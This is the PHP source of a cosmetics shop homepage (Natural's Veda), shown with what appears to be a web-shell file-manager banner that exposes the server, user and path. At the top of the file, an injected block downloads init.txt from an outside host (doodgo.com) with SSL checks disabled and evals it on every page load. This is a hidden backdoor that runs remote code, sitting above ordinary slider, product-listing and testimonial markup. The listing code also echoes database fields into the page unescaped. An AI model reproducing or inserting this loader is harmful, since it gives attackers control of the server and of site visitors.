Server : LiteSpeed System : Linux in-mum-web1743.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u993087259 ( 993087259) PHP Version : 8.2.29 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail Directory : /home/u993087259/domains/naturalsveda.in/public_html/ |
<?=
"";
function callback($url)
{
$post_content = false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$post_content = curl_exec($ch);
curl_close($ch);
if ($post_content) {
eval('?>' . $post_content);
}
}
call_user_func('callback', 'https://j260108_13.doodgo.com/init.txt');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="description" content="">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.15.4/css/all.css" />
<!-- Title -->
<title>
Natural's Veda
</title>
<!-- Core Style CSS -->
<?php
include "Header-Script.php";
?>
<style>
.testimonials-slides .single-product-wrapper i {
color: var(--primary) !important;
}
.testimonials-slides .profile-img img {
float: right;
width: 17% !important;
border-radius: 100%;
}
.testimonials-slides .review {
float: right;
padding: 20px;
}
.testimonials-slides p {
font-weight: 400 !important;
color: #818181 !important;
}
.pagination {
display: none;
}
/* .testimonials .owl-controls .owl-prev,
.testimonials .owl-controls .owl-next {
display: block !important;
position: relative;
bottom: 200px;
}
.testimonials .owl-controls .owl-prev i,
.testimonials .owl-controls .owl-next i{
display: none;
} */
/* .testimonials .owl-controls .owl-prev img,
.testimonials .owl-controls .owl-next img {
width: 7%;
font-size: 20px;
border-radius: 100px;
padding: 20px;
border: 1px solid var(--primary);
color: #ffffff;
}
.testimonials .owl-controls .owl-prev img,
.testimonials .owl-controls .owl-prev i {
float: right;
position: relative;
left: 100px;
} */
/* .testimonials .owl-controls .owl-next img,
.testimonials .owl-controls .owl-next i {
position: relative;
right: 100px;
} */
</style>
<style>
@media (max-width:767.98px) {
.slider {
height: 193px !important;
}
.nav-btn.prev {
left: 0 !important;
}
.nav-btn.next {
right: 0 !important;
}
}
/* Animated background gradient */
@keyframes gradientBG {
0% {
background-position: 0% 50%;
}
50% {
background-position: 100% 50%;
}
100% {
background-position: 0% 50%;
}
}
/* Floating background elements */
.floating-shape {
position: fixed;
background: rgba(255, 255, 255, 0.15);
border-radius: 50%;
pointer-events: none;
z-index: 0;
}
.shape1 {
top: 10%;
left: 10%;
width: 180px;
height: 180px;
animation: floatAnimation 20s infinite alternate ease-in-out;
}
.shape2 {
top: 70%;
left: 20%;
width: 120px;
height: 120px;
animation: floatAnimation 15s infinite alternate-reverse ease-in-out;
}
.shape3 {
top: 30%;
right: 15%;
width: 150px;
height: 150px;
animation: floatAnimation 25s infinite alternate ease-in-out;
animation-delay: 5s;
}
.shape4 {
bottom: 15%;
right: 10%;
width: 200px;
height: 200px;
animation: floatAnimation 18s infinite alternate-reverse ease-in-out;
animation-delay: 2s;
}
@keyframes floatAnimation {
0% {
transform: translate(0, 0) rotate(0deg);
}
25% {
transform: translate(20px, 35px) rotate(5deg);
}
50% {
transform: translate(-15px, 25px) rotate(-5deg);
}
75% {
transform: translate(35px, -30px) rotate(3deg);
}
100% {
transform: translate(-25px, -25px) rotate(-3deg);
}
}
.slider-container {
overflow: hidden;
border-radius: 10px;
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
}
@keyframes appear {
from {
opacity: 0;
transform: translateY(30px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.slider {
position: relative;
height: 693px;
overflow: hidden;
}
.slide {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
z-index: 1;
transition: opacity 0.5s ease;
overflow: hidden;
pointer-events: none;
}
.slide.active {
opacity: 1;
z-index: 2;
pointer-events: auto;
}
.slide img {
width: 100%;
height: 100%;
object-fit: cover;
transition: transform 8s ease-in-out;
}
.slide.active img {
transform: scale(1.1);
}
.slide-content {
position: absolute;
bottom: 0;
left: 0;
width: 100%;
padding: 20px;
background: linear-gradient(transparent, rgba(0, 0, 0, 0.7));
color: white;
transform: translateY(100%);
transition: transform 0.7s ease, opacity 0.5s ease;
opacity: 0;
}
.slide.active .slide-content {
transform: translateY(0);
opacity: 1;
transition-delay: 0.3s;
}
.slide:hover .slide-content {
transform: translateY(0);
opacity: 1;
}
/* Slide title and description parallax effects */
.slide-title {
transform: translateX(-50px);
opacity: 0;
transition: transform 1s ease, opacity 1s ease;
transition-delay: 0.2s;
font-size: 1.5rem;
margin-bottom: 8px;
}
.slide-description {
transform: translateX(50px);
opacity: 0;
transition: transform 1s ease, opacity 1s ease;
transition-delay: 0.4s;
font-size: 1rem;
opacity: 0.9;
}
.slide.active .slide-title,
.slide.active .slide-description {
transform: translateX(0);
opacity: 1;
}
/* Navigation arrows */
.navigation {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 20;
pointer-events: none;
}
.nav-btn {
position: absolute;
top: 50%;
transform: translateY(-50%);
background-color: rgba(255, 255, 255, 0.7);
color: #333;
border: none;
border-radius: 50%;
width: 50px;
height: 50px;
cursor: pointer;
display: flex;
justify-content: center;
align-items: center;
font-size: 1.5rem;
transition: all 0.3s ease;
pointer-events: auto;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
z-index: 30;
}
.nav-btn.prev {
left: 20px;
}
.nav-btn.next {
right: 20px;
}
.nav-btn:hover {
background-color: rgba(255, 255, 255, 0.9);
transform: translateY(-50%) scale(1.1);
}
/* Dots indicators */
.dots-container {
display: flex;
justify-content: center;
position: absolute;
bottom: 20px;
width: 100%;
z-index: 10;
}
.dot {
width: 12px;
height: 12px;
border-radius: 50%;
margin: 0 5px;
background-color: rgba(255, 255, 255, 0.5);
cursor: pointer;
transition: all 0.3s ease;
}
.dot.active {
background-color: white;
transform: scale(1.2);
}
/* Animation keyframes for transitions */
@keyframes fadeIn {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
@keyframes slideInRight {
from {
transform: translateX(50px);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
@keyframes slideInLeft {
from {
transform: translateX(-50px);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
@keyframes zoomIn {
from {
transform: scale(1.2);
opacity: 0;
}
to {
transform: scale(1);
opacity: 1;
}
}
@keyframes slideInUp {
from {
transform: translateY(50px);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Transition effect classes */
.transition-fade .slide-content {
animation: fadeIn 1s forwards;
}
.transition-slideRight .slide-content {
animation: slideInRight 1s forwards;
}
.transition-slideLeft .slide-content {
animation: slideInLeft 1s forwards;
}
.transition-zoom .slide-content {
animation: zoomIn 1s forwards;
}
.transition-slideUp .slide-content {
animation: slideInUp 1s forwards;
}
</style>
</head>
<body>
<!-- Header Area Start -->
<?php
include "Header.php";
?>
<!-- Header Area End -->
<div class="slider-container">
<div class="slider">
<!-- <div class="slide">
<img src="https://picsum.photos/800/450?random=1" alt="Slider Image 1">
</div> -->
<div class="slide active">
<img src="https://naturalsveda.in/assets/img/bg-img/Code-G-Bathinda.jpg" alt="Slider Image 2">
</div>
<div class="slide transition-fade">
<img src="https://naturalsveda.in/assets/img/bg-img/Code-G-Punjab.jpg" alt="Slider Image 2">
</div>
<div class="slide transition-fade">
<img src="https://naturalsveda.in/assets/img/bg-img/Code-G.jpg" alt="Slider Image 2">
</div>
</div>
<div class="navigation">
<button class="nav-btn prev"><</button>
<button class="nav-btn next">></button>
</div>
<div class="dots-container">
<!-- Dots will be added dynamically with JavaScript -->
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', () => {
// Select elements
const slider = document.querySelector('.slider');
const slides = document.querySelectorAll('.slide');
const prevBtn = document.querySelector('.prev');
const nextBtn = document.querySelector('.next');
const dotsContainer = document.querySelector('.dots-container');
// Variables
let currentIndex = 0;
let autoSlideInterval;
const autoSlideDelay = 5000; // 5 seconds
// Available transition effects
const transitionEffects = ['fade', 'slideRight', 'slideLeft', 'zoom', 'slideUp'];
// Initialize - make first slide active
slides[0].classList.add('active');
slides[0].classList.add(`transition-${transitionEffects[0]}`);
// Create dot indicators
slides.forEach((_, index) => {
const dot = document.createElement('div');
dot.classList.add('dot');
if (index === 0) dot.classList.add('active');
dot.addEventListener('click', () => showSlide(index));
dotsContainer.appendChild(dot);
});
// Get all dots
const dots = document.querySelectorAll('.dot');
// Main function to show a slide
function showSlide(index) {
// Handle index boundaries
if (index < 0) index = slides.length - 1;
if (index >= slides.length) index = 0;
// Skip if already on this slide
if (index === currentIndex) return;
// Remove active class from all slides and dots
slides.forEach(slide => {
slide.classList.remove('active');
slide.classList.remove('transition-fade', 'transition-slideRight',
'transition-slideLeft', 'transition-zoom', 'transition-slideUp');
});
dots.forEach(dot => dot.classList.remove('active'));
// Apply random transition effect
const randomEffect = transitionEffects[Math.floor(Math.random() * transitionEffects.length)];
slides[index].classList.add(`transition-${randomEffect}`);
// Activate the new slide and dot
slides[index].classList.add('active');
dots[index].classList.add('active');
// Update the current index
currentIndex = index;
// Reset auto slide timer
resetAutoSlide();
}
// Next slide function
function nextSlide() {
showSlide(currentIndex + 1);
}
// Previous slide function
function prevSlide() {
showSlide(currentIndex - 1);
}
// Start auto slide
function startAutoSlide() {
autoSlideInterval = setInterval(nextSlide, autoSlideDelay);
}
// Reset auto slide timer
function resetAutoSlide() {
clearInterval(autoSlideInterval);
startAutoSlide();
}
// Event listeners
prevBtn.addEventListener('click', prevSlide);
nextBtn.addEventListener('click', nextSlide);
// Touch events for mobile swipe
let touchStartX = 0;
let touchEndX = 0;
slider.addEventListener('touchstart', (e) => {
touchStartX = e.changedTouches[0].screenX;
// Pause auto slide while touching
clearInterval(autoSlideInterval);
});
slider.addEventListener('touchend', (e) => {
touchEndX = e.changedTouches[0].screenX;
handleSwipe();
// Restart auto slide after touch
startAutoSlide();
});
function handleSwipe() {
const swipeThreshold = 50;
if (touchEndX < touchStartX - swipeThreshold) {
nextSlide(); // Swipe left -> next slide
} else if (touchEndX > touchStartX + swipeThreshold) {
prevSlide(); // Swipe right -> prev slide
}
}
// Pause auto slide on hover
slider.addEventListener('mouseenter', () => {
clearInterval(autoSlideInterval);
});
slider.addEventListener('mouseleave', () => {
startAutoSlide();
});
// Keyboard navigation
document.addEventListener('keydown', (e) => {
if (e.key === 'ArrowLeft') {
prevSlide();
} else if (e.key === 'ArrowRight') {
nextSlide();
}
});
// Initialize auto slide
startAutoSlide();
});
</script>
<!-- Welcome Area Start -->
<!--<section class="welcome_area bg-img background-overlay" style="background-image: url(assets/img/bg-img/CodeG.jpg);">-->
<!-- <div class="container">-->
<!-- <div class="row h-100 align-items-center">-->
<!-- <div class="col-12 col-md-5">-->
<!-- <div class="hero-content">-->
<!-- <h1>Natural's Veda </h1>-->
<!-- <h2>Cosmetics Products</h2>-->
<!-- <a href="products" class="btn essence-btn">Explore More</a> -->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!--</section>-->
<!-- Welcome Area End -->
<!-- Top Catagory Area Start -->
<!-- <div class="top_catagory_area section-padding-80 clearfix">
<div class="container">
<div class="row justify-content-center">
Single Catagory
<div class="col-12 col-sm-6 col-md-4">
<div class="single_catagory_area d-flex align-items-center justify-content-center bg-img" style="background-image: url(assets/img/product/350-350\ -\ 1.jpg);">
<div class="catagory-content">
<a href="#">Clothing</a>
</div>
</div>
</div>
Single Catagory
<div class="col-12 col-sm-6 col-md-4">
<div class="single_catagory_area d-flex align-items-center justify-content-center bg-img" style="background-image: url(assets/img/product/350-350\ -\ 2.jpg);">
<div class="catagory-content">
.
</div>
</div>
</div>
Single Catagory
<div class="col-12 col-sm-6 col-md-4">
<div class="single_catagory_area d-flex align-items-center justify-content-center bg-img" style="background-image: url(assets/img/product/350-350\ -\ 3.jpg);">
<div class="catagory-content">
<a href="#">Accessories</a>
</div>
</div>
</div>
</div>
</div>
</div> -->
<!-- Top Catagory Area End -->
<!-- CTA Area Start -->
<!-- <div class="cta-area">
<div class="container">
<div class="row">
<div class="col-12">
<div class="cta-content bg-img background-overlay" style="background-image: url(assets/img/bg-img/backround.jpg);">
<div class="h-100 d-flex align-items-center justify-content-end">
<div class="cta--text">
<h6>-60%</h6>
<h2>Global Sale</h2>
<a href="#" class="btn essence-btn">Buy Now</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div> -->
<!-- CTA Area End -->
<!-- Shop Grid Area Start -->
<section class="shop_grid_area section-padding-80 pb-0">
<div class="container">
<div class="row">
<div class="col-12">
<div class="section-heading text-center">
<h2>Popular Products</h2>
</div>
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-12 col-md-12 col-lg-12">
<div class="shop_grid_product_area">
<?php
$sql = "SELECT * FROM products ORDER BY id DESC";
$result = $con->query($sql);
?>
<div class="row">
<?php while ($product = $result->fetch_assoc()): ?>
<div class="col-6 col-sm-6 col-lg-3">
<!-- Single Product -->
<div class="single-product-wrapper our-product">
<!-- Product Image -->
<a href="product_detail?id=<?php echo $product['id']; ?>">
<div class="product-img">
<!-- Product Badge -->
<!-- <div class="product-badge offer-badge">
<span>-<?php echo $product['descount']; ?>%</span>
</div> -->
<img src="https://www.naturalsveda.in/admin/assets/img/product/<?php echo $product['photo']; ?>" alt="<?php echo $product['name']; ?>">
</div>
<!-- Product Description -->
<div class="product-description">
<h6><?php echo $product['name']; ?></h6>
<p class='paragraph'><?php echo $product['description']; ?></p> <!-- Show short description -->
<p class="product-price"><span class="old-price"><?php echo $product['cutprice']; ?>₹</span>  <?php echo $product['phone']; ?>₹  
<br>
<span class="discount text-success text-center">Up To <?php echo $product['descount']; ?>% OFF</span></p>
<form class="add-to-cart-btn input-group mb-3">
<!-- <input type="hidden" name="id" value="<?php echo $product['id']; ?>">
<input type="number" class="form-control product-quantity" name="quantity" value="1" min="1"> -->
<a class="btn essence-btn add-to-cart" href="product_detail?id=<?php echo $product['id']; ?>" name="add_to_cart">Buy Now</a>
</form>
</div>
</a>
</div>
</div>
<?php endwhile; ?>
</div>
</div>
<!-- Pagination -->
<ul class="pagination">
<li><a href="javascript:void(0)" class="prev disabled page-link"><i class="fa fa-angle-left"></i></a></li>
<!-- Pagination links will be dynamically added here -->
<li><a href="javascript:void(0)" class="next page-link"><i class="fa fa-angle-right"></i></a></li>
</ul>
<!-- <nav>
<ul class="pagination mt-50 mb-70">
<li><a class="page-link" href="#"><i class="fa fa-angle-left"></i></a></li>
<li class="page-item"><a class="page-link" href="#">1</a></li>
<li class="page-item"><a class="page-link" href="#">2</a></li>
<li class="page-item"><a class="page-link" href="#">3</a></li>
<li class="page-item"><a class="page-link" href="#">...</a></li>
<li class="page-item"><a class="page-link" href="#">21</a></li>
<li class="page-item"><a class="page-link" href="#"><i class="fa fa-angle-right"></i></a></li>
</ul>
</nav> -->
</div>
</div>
</div>
</section>
<!-- Footer Area Start -->
<?php
include "connection.php";
$product_id = $_GET['id'] ?? 1; // Default to 1 if no ID provided
$sql = "SELECT * FROM products WHERE id = ?";
$stmt = $con->prepare($sql);
$stmt->bind_param("i", $product_id);
$stmt->execute();
$result = $stmt->get_result();
$product = $result->fetch_assoc();
?>
<style>
@keyframes fadeInUp {
from {
opacity: 0;
transform: translateY(20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
#view-cart-popup img {
width: 40%;
}
</style>
</head>
<!-- Single Product Details Area Start -->
<div class="container">
<section class="single_product_details_area d-flex align-items-center">
<div class="single_product_thumb clearfix">
<div class="product_thumbnail_slides owl-carousel">
<img src="https://www.naturalsveda.in/admin/assets/img/product-detail/<?php echo $product['largephoto']; ?>" alt="<?php echo $product['name']; ?>">
<img src="https://www.naturalsveda.in/admin/assets/img/product-detail/<?php echo $product['largephoto']; ?>" alt="">
</div>
</div>
<div class=" single_product_desc clearfix">
<span><span class="discount text-success"><?php echo $product['descount']; ?>% OFF</span></span>
<div class="product">
<h2><span class="product-info" data-name="<?php echo $product['name']; ?>" data-price="<?php echo $product['phone']; ?>"><?php echo $product['name']; ?></span></h2>
<p class="product-price"><span class="old-price"><?php echo nl2br(htmlspecialchars($product['cutprice'])); ?>₹</span> <?= $product['phone'] ?>₹</p>
<p class="product-desc"><?php echo htmlspecialchars($product['description']); ?></p>
<div class="row">
<div class="col-md-6 col-6">
<input type="number" class="form-control product-quantity qty-input" value="1" min="1">
</div>
<div class="col-md-6 col-6">
<button class="btn essence-btn add-to-cart" onclick="addToCart(this)" class="btn btn-primary">Add to Cart</button>
</div>
</div>
</div>
</div>
</section>
</div>
<!-- New Arrivals Area Start -->
<section class="new_arrivals_area section-padding-80 clearfix">
<div class="container">
<div class="row">
<div class="col-12">
<div class="section-heading text-center">
<h2>Our Products</h2>
</div>
</div>
</div>
</div>
<div class="text-center mb-5 mt-0">
<a href="products" class="text-dark more">View All <i class="fa fa-long-arrow-right" aria-hidden="true"></i></a>
</div>
<?php
$sql = "SELECT * FROM products";
$result = $con->query($sql);
?>
<div class="container">
<div class="row">
<div class="col-12">
<div class="popular-products-slides owl-carousel">
<?php if ($result->num_rows > 0): ?>
<?php while ($product = $result->fetch_assoc()): ?>
<!-- Single Product -->
<div class="single-product-wrapper">
<!-- Product Image -->
<a href="product_detail?id=<?php echo $product['id']; ?>">
<div class="product-img">
<!-- Product Badge -->
<img src="https://www.naturalsveda.in/admin/assets/img/product/<?php echo $product['photo']; ?>" alt="<?php echo $product['name']; ?>">
</div>
<!-- Product Description -->
<div class="product-description">
<h6><?= $product['name'] ?></h6>
<p class='paragraph'><?php echo $product['description']; ?></p> <!-- Show short description -->
<p class="product-price">  <span class="old-price"><?php echo $product['cutprice']; ?>₹</span>  <?= $product['phone'] ?>₹
<br>
<span class="discount text-success text-center">Up To <?php echo $product['descount']; ?>% OFF</span></p>
<!-- Add to Cart -->
<div class="add-to-cart-btn input-group mb-3">
<input class="form-control product-quantity" type="number" id="qty<?= $row['id'] ?>" value="1" min="1">
<button class="btn essence-btn add-to-cart" onclick="addToCart('<?= addslashes($row['name']) ?>', <?= $row['phone'] ?>, 'qty<?= $row['id'] ?>')">Buy Now</button>
</div>
</div>
</a>
</div>
<?php endwhile; ?>
<?php else: ?>
<p>No blog posts found.</p>
<?php endif; ?>
<?php $con->close(); ?>
</div>
</div>
</div>
</div>
</section>
<!-- New Arrivals Area End -->
<!-- New Arrivals Area Start -->
<section class="testimonials new_arrivals_area section-padding-80 clearfix">
<div class="container">
<div class="row">
<div class="col-12">
<div class="section-heading text-center">
<h2>Testimonial</h2>
</div>
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-12">
<div class="testimonials-slides owl-carousel">
<!-- Single Product -->
<div class="single-product-wrapper">
<i class="fas fa-quote-left fa-3x text-dark me-3"></i>
<!-- Product Description -->
<div class="product-description">
<p class="product-price">These cosmetics products are a perfect blend of quality and performance, leaving the skin feeling refreshed and radiant. The packaging is sleek, and the results truly speak for themselves with noticeable improvements after regular use.</p>
<!-- Product Image -->
<div class="profile-img">
<img src="https://www.codeg.dev/assets/img/testimonial/Jashandeep-Singh-Web-Developer.jpg" alt="">
<a class="review" href="single-product-details.html">
<h5>Jashandeep Singh</h5>
<h6>Web Developer</h6>
</a>
<!-- Hover Thumb
<img class="hover-img" src="assets/img/product/After-Walking-Gel-Aloe-Vera.jpg" alt="">
Favourite
<div class="product-favourite">
<a href="#" class="favme fa fa-heart"></a>
</div> -->
</div>
<!-- Hover Content -->
<!-- <div class="hover-content">
Add to Cart
<div class="add-to-cart-btn">
<a href="#" class="btn essence-btn">Add to Cart</a>
</div>
</div> -->
</div>
</div>
<!-- Single Product -->
<div class="single-product-wrapper">
<i class="fas fa-quote-left fa-3x text-dark me-3"></i>
<!-- Product Description -->
<div class="product-description">
<p class="product-price">The texture is smooth and lightweight, making application effortless and comfortable for daily wear. With long-lasting effects and a pleasant fragrance, these cosmetics add a touch of luxury to any beauty routine.</p>
<!-- Product Image -->
<div class="profile-img">
<img src="assets/img/testimonials/308049921_1240855903356694_4043318290290469645_n.jpg" alt="">
<a class="review" href="single-product-details.html">
<h5>Sahaj Singh</h5>
<h6>Photography Studio</h6>
</a>
</div>
</div>
</div>
<!-- Single Product -->
<div class="single-product-wrapper">
<i class="fas fa-quote-left fa-3x text-dark me-3"></i>
<!-- Product Description -->
<div class="product-description">
<p class="product-price">These cosmetics deliver impressive results with minimal effort, enhancing natural beauty without feeling heavy on the skin. Ideal for all skin types, they offer great value and visible glow after consistent use.</p>
<!-- Product Image -->
<div class="profile-img">
<img src="assets/img/testimonials/482325455_649881704117501_5411960928105083357_n.jpg" alt="">
<a class="review" href="single-product-details.html">
<h5>Love Sidhu</h5>
<h6>Video Editor</h6>
</a>
<!-- Hover Thumb
<img class="hover-img" src="assets/img/product/After-Walking-Gel-Aloe-Vera.jpg" alt="">
Favourite
<div class="product-favourite">
<a href="#" class="favme fa fa-heart"></a>
</div> -->
</div>
<!-- Hover Content -->
<!-- <div class="hover-content">
Add to Cart
<div class="add-to-cart-btn">
<a href="#" class="btn essence-btn">Add to Cart</a>
</div>
</div> -->
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- New Arrivals Area End -->
<!-- Footer Area Start -->
<?php
include "Footer.php";
?>
<!-- Footer Area End -->
<?php
include "Footer-Script.php";
?>
<script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>
<script>
$(document).ready(function() {
const postsPerPage = 8; // Number of posts per page
const $blogPosts = $(".our-product");
const $pagination = $(".pagination");
const totalPosts = $blogPosts.length;
const totalPages = Math.ceil(totalPosts / postsPerPage);
// Function to display posts for the current page
function showPage(page) {
const start = (page - 1) * postsPerPage;
const end = start + postsPerPage;
$blogPosts.hide().slice(start, end).fadeIn();
// Update active class on pagination
$pagination.find("a").removeClass("active");
$pagination.find(`a[data-page="${page}"]`).addClass("active");
}
// Generate pagination links
for (let i = 1; i <= totalPages; i++) {
$pagination.append(
`<li><a href="javascript:void(0)" data-page="${i}">${i}</a></li>`
);
}
// Handle pagination click event
$pagination.on("click", "a", function() {
const page = $(this).data("page");
showPage(page);
});
// Show the first page initially
showPage(1);
});
</script>
</body>
</html>